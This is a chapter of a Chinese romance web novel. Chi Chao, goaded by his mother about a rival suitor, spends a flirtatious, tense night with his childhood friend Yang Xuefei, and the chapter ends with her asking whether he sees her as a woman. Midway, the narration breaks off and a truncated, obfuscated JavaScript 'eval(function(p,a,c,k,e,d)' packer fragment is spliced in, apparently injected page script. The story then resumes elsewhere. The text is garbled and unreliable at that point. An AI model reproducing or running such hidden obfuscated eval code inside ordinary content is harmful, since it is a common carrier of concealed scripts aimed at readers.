张婉娴看热闹不嫌事大似的,凉凉道:“你不知道啊?最近有个男孩子在追求雪霏呢,我看人家挺有诚意的,雪霏看起来,对他也有那么点意思。” 她心想,必须加把猛火,刺激一下驰朝,于是张口就来。 “你和雪霏这么多年好友,等她结婚了,不得坐主桌,随礼记得随个大的,不然显得我们家多小气似的。哦,对了,你到时候应该要做伴郎吧。” 驰朝的脸色肉眼可见地变差。 张婉娴试探道:“你知不知道是哪个男孩子?” 驰朝几乎是第一时间,想到了陈群。 难怪陈群前脚回来,杨雪霏后脚也跟着回来,甚至还没来得及去学她心心念念的冲浪。 他们才认识了几天。 而他们俩,又认识了多少年。 可是谁又能不知道,不是世界上所有的东西,都能够用时间衡量。 如果世上所有的东西,都能够用时间衡量,还有别人什么事。 张婉娴见一向意气风发的儿子一脸挫败,也有些于心不忍了。 但为了能名正言顺地当杨雪霏的妈妈,她不能心慈手软。 既然自己的肚子不争气,那肚子里生出的这个必须争气。 张婉娴道:“你自己好好想想吧,再不直球一点,黄花菜都凉了。” 驰朝忽然问:“她和你说的?” “什么?” 他艰涩地说:“说她对那个男孩也有点意思?” 张婉娴咳了咳,“何止是一点啊,我看八字就差一撇了。不过你也别气馁,现在这不是还没成吗。” 想到什么,她严肃道:“万一,我说万一哈,要是人家过段时间真的在一起了,你就放过雪霏吧。让人家知道我儿子在外边当小三,我这脸往哪里搁。” 是的,这就是驰朝的风评和口碑。 驰朝没说什么,头也不回地往外走。 糟了,张婉娴想,不会刺激过头了,这会儿就赶着去表白了吧。 她在后面喊,“你别空着手去啊,好歹买束花啊!” 驰朝站在杨雪霏家门口。 手抬到门前,半天,都没敲下去。 其实他知道门没锁,一推便开,但他还是把前奏拉得很长。 因为即使是驰朝,也有过无数个踟蹰的时刻。 知道了,然后呢。 确认了,然后呢。 以他的身份,除了祝福还能说些什么。 也许还不到祝福的地步,作为最佳损友,他大可以没事找事地挑别人的刺,嘲讽地说,你眼光不怎么行啊,真不考虑和我凑合凑合? 杨雪霏只会觉得,啊,小心眼的驰朝又吃醋了,真苦恼,要不还是给驰朝介绍个对象吧。 或者退让一步,很有义气地说,行了行了,那我等你先找到对象,我再谈恋爱好吧? 可这些,都不是驰朝想要的结果。 总有人说,比起做恋人,不如做朋友,恋人会分手,好朋友却可以相处一生。 驰朝不是没想过,没想过就这样做一个哑巴。 但那太难了。 一想到杨雪霏有一天会嫁人生子,会同他人有比起他们更密切的关系,而他只是他们口中的外人。 想到杨雪霏或许会受到伤害,或许会强颜欢笑,他却无能为力。 驰朝就没法冷静。 “你站门口干嘛呢?” 门从里面拉开了,驰朝一抬眸,撞见杨雪霏好奇的眼神。 “我在楼上看你站半天了,怎么不进来?” 就在这时,外卖到了,杨雪霏乐呵呵地接过超市购物袋,招呼驰朝跟上。 购物袋是透明的,里面挤满了食材,杨雪霏一个人是万万吃不完的。 驰朝还没细想,便听她说:“你来得太早啦,我还准备做好饭,再叫你来着。” 太阳打西边出来了。 杨雪霏的厨艺没人敢恭维,连驰朝也没法睁眼说瞎话。 幸好她不爱做饭,所以驰朝极少受到摧残。 杨雪霏瞪眼,“你这什么表情?我这买的可都是你爱吃的。” 驰朝有点懵,连自己是来做什么的都忘了,“你确定要做饭?” 杨雪霏眨巴眨巴眼睛,强调道:“是的,我确定,是特意给你做的哦!” 驰朝承认,这一刻,他昏了头,不仅置自己的味蕾于不顾,甚至露出了一丝受宠若惊的表情。 杨雪霏嘿嘿笑,“不用太感动啦,主要是为了犒劳你,陪我在南壁岛玩了这么久。” 因为这段对话,驰朝硬着头皮,吃光了几盘又甜又咸的菜。 杨雪霏几乎没动筷子,托着下巴,笑眯眯地看他,那眼神别提多慈爱了。 “好吃嘛?” 驰朝面不改色,“好吃,进步很大。” “那就好。”她眨了眨眼睛,“那我以后经常给你做。” 这话若是旁人说来,多少是带点暧昧的,可她是杨雪霏。 驰朝确定,这话再浅显不过了,不过是字面上的意思。 只是没多久,驰朝又不确定了。 杨雪霏今晚有些不对劲。 先是兴致勃勃地给他做了饭,接着,连车上那本没看完的小说也不继续看了,提议去他房间通关双人小游戏。 她说的那款游戏,早在很久之前,便只差两关就要通关了,但她一直提不起兴致,还不耐烦地让驰朝找别人玩去,把驰朝气得够呛。 死磕两小时,终于通了关。 他们盘腿坐在地毯上。 驰朝揉着酸胀的眼睛,杨雪霏激动得扑进他怀里,小臂圈紧他的脖颈,下巴抵住他的肩头。 他下意识揽住她的腰,微微侧脸,唇一不小心,堪堪擦过她的脸,一触即离。 驰朝浑身僵硬,欲盖弥彰地后仰,唇瓣仿佛还留存她的温度。 香的甜的,痒痒的。 也或许是无知无觉的,只是不断地回味,让灵魂有了错觉。 她却跟没察觉似的,亮着眼睛,庆贺她不怎么值得庆贺的游戏战绩。 他应和得很敷衍,连他自己都感觉到了。 他的耳朵好烫,是不是红了,会不会叫杨雪霏看出什么端倪。 又想,她能看出什么端倪才怪。 “你好厉害呀,驰朝朝,这都能带我通关。” 她果然没发现端倪。 外头不知何时下了雨,雷声忽鸣,杨雪霏关了投影仪,又关了吊灯,就留了盏小灯。 “我家里没人,不想回去了,我今天在这边睡吧。”她说。 驰朝一应声,杨雪霏就自顾自地爬到床上,枕上他的枕头,卷起他的被子。 她侧着身,打了个哈欠,见驰朝仍坐在原地,催促地用脚尖点了点他的胸。 “你傻坐着干什么,再去拿一床被子呀。” 驰朝指了指自己,不可置信道:“我们一起睡?” “嗯啊。”杨雪霏点头,浑然不觉得有什么问题似的,“我想和你聊聊天。” 他犹疑,“你确定?” “确定呀,你快点。” 见驰朝一副扭扭捏捏的小媳妇模样,杨雪霏认命地坐起来,穿上鞋子,哒哒哒地往外走。 驰朝又是庆幸,又是后悔。 庆幸她去她自己房间睡了,而不是留下来考验他的定力。 后悔自己一时犹豫,或许要错过,此生最后一次和杨雪霏入眠的机会。 还有下次吗。 驰朝也不确定。 雀跃了一晚上的人,终于在人去房空的时候想起,杨雪霏或许已经喜欢上了别人。 他由衷祈祷,杨雪霏的喜欢能够同她的兴趣一般,只有三分钟的热度。 “你闭着眼睛干嘛呢?” 忽然听到杨雪霏的声音,驰朝睁开眼,见她抱着一床小被子,站在他面前,用莫名其妙的眼神打量他。 “如果我没听错的话,我刚才好像听到了耶稣、佛祖、阿拉……?” 驰朝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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驰朝想,今晚一定要让杨雪霏兽性大发,酿下大错,不得不对他负责。 到时候有了两家长辈撑腰,不管什么莺莺燕燕、年上年下,谁都不可能越过他去。 杨雪霏听他说热,马上把空调调到了最低温度,还提醒他说,一会儿就降温了,你别着凉了。 然后恍若未见的样子,咧着大牙,一说起她压榨小驰朝的辉煌历史,就不知今夕是何夕了。 驰朝都怀疑人生了。 是自己露得太少了? 想想也是,就杨雪霏之前那个色迷心窍的样子。 又想看这,又想啜那的,哪是这小小的漏腹肌可以勾引的。 自从被驰朝拒绝过看啾和啜咪,杨雪霏就再没提起过。 在半途而废这件事上,杨雪霏一向不遗余力。 驰朝有点烦。 总不能脱光了躺她面前。被迫屈服,和主动勾引,在性质上,天差地别。 衣裳滑了又滑,杨雪霏恍若未见。 媚眼抛给瞎子看。 驰朝有些急了,怕她聊着聊着就困了,错过了这个村,可就没这个店了。 他一边懊恼于,自己之前的故作矜持,一边绞尽脑汁,要如何不动声色地勾起杨雪霏的兴致。 杨雪霏看驰朝忽然坐了起来,问道:“怎么啦?” “倒杯水喝。” 杨雪霏跟着坐起来,“给我也倒一杯。” 驰朝端了两杯水回来,两个人坐在床上。 他正谋划着,如何自然又不失技巧地把水洒到领口上,而后顺理成章地换衣服。 他手一抖,滑至杯口的水还没来得及落下,就听到杨雪霏“哎呀”了一声,他下意识摆正了杯子。 原来是杨雪霏不小心打翻了水杯。 不止领口湿了,胸口也湿了,湿答答地贴在身上,勾勒出窈窕的身线。 她手忙脚乱地拍开身上的水,越拍越开,越拍越湿。 纸巾放在他这一侧的床头,杨雪霏急死了,跪在他腿侧,越过他就去拿。 香甜的气味似有若无,她就这样毫不设防地贴着他。 驰朝绷紧了手指,握住身下的床单。他绷直身子,屏住呼吸的这一刻,无比地漫长。 直到杨雪霏抱怨,“你给我拿件衣服去呀。” 驰朝倏地回过神,有点呆的样子,“哦哦。” 他下了床,握住门把手,就要往外走,杨雪霏忙叫住他。 “都这个点了,你别出去了,待会儿被张姨看到了,误会了怎么办。拿件你的衣服给我就得了。” 她说:“你别以为,我俩从小一起长大,张姨就不会误会。你也不看看这是什么时间,你拿的是什么东西。” 又小声嘀咕,“要是误会我俩刚刚……就完了。” 就是这几句话,让驰朝本来稍稍平复的内心,又心猿意马起来。 有那么一秒钟,他甚至怀疑,杨雪霏今晚是故意来考验他的。 但杨雪霏没有任何动机,也不会花那心思。 他几乎是僵硬地在房间找了件衣服给她。 杨雪霏摸了摸,是纯棉的白T,她微微抬了抬下巴,以示自己还算满意。 “行了,你转过去吧。”她发号施令道。 驰朝默了默,“我去门口等,你好了叫我。” 杨雪霏不让,“待会儿张姨看到了,问你站门口,你怎么解释?” 话音刚落,走廊外就传来房门开合的吱呀声。 驰朝只好背对着她站在门边。 听她窸窸窣窣地换着衣服,听她衣料的摩挲,听她呼吸的起落。 驰朝数着时间。 一秒、两秒、三秒…… 她脱了衣服。 四秒、五秒…… 怎么还不穿上。 还喝起水了。 驰朝忍了又忍,还是没忍住说:“杨雪霏,你是真没把我当男人看啊。” 本以为杨雪霏会不在意地“嗯啊”,而后嬉皮笑脸地说:“你又不是别人。” 可过了很久很久,杨雪霏才缓缓开口,“那你呢?” 驰朝不解其意,“什么?” “那你呢?”她问:“有没有把我当女人?” 像是在确认什么。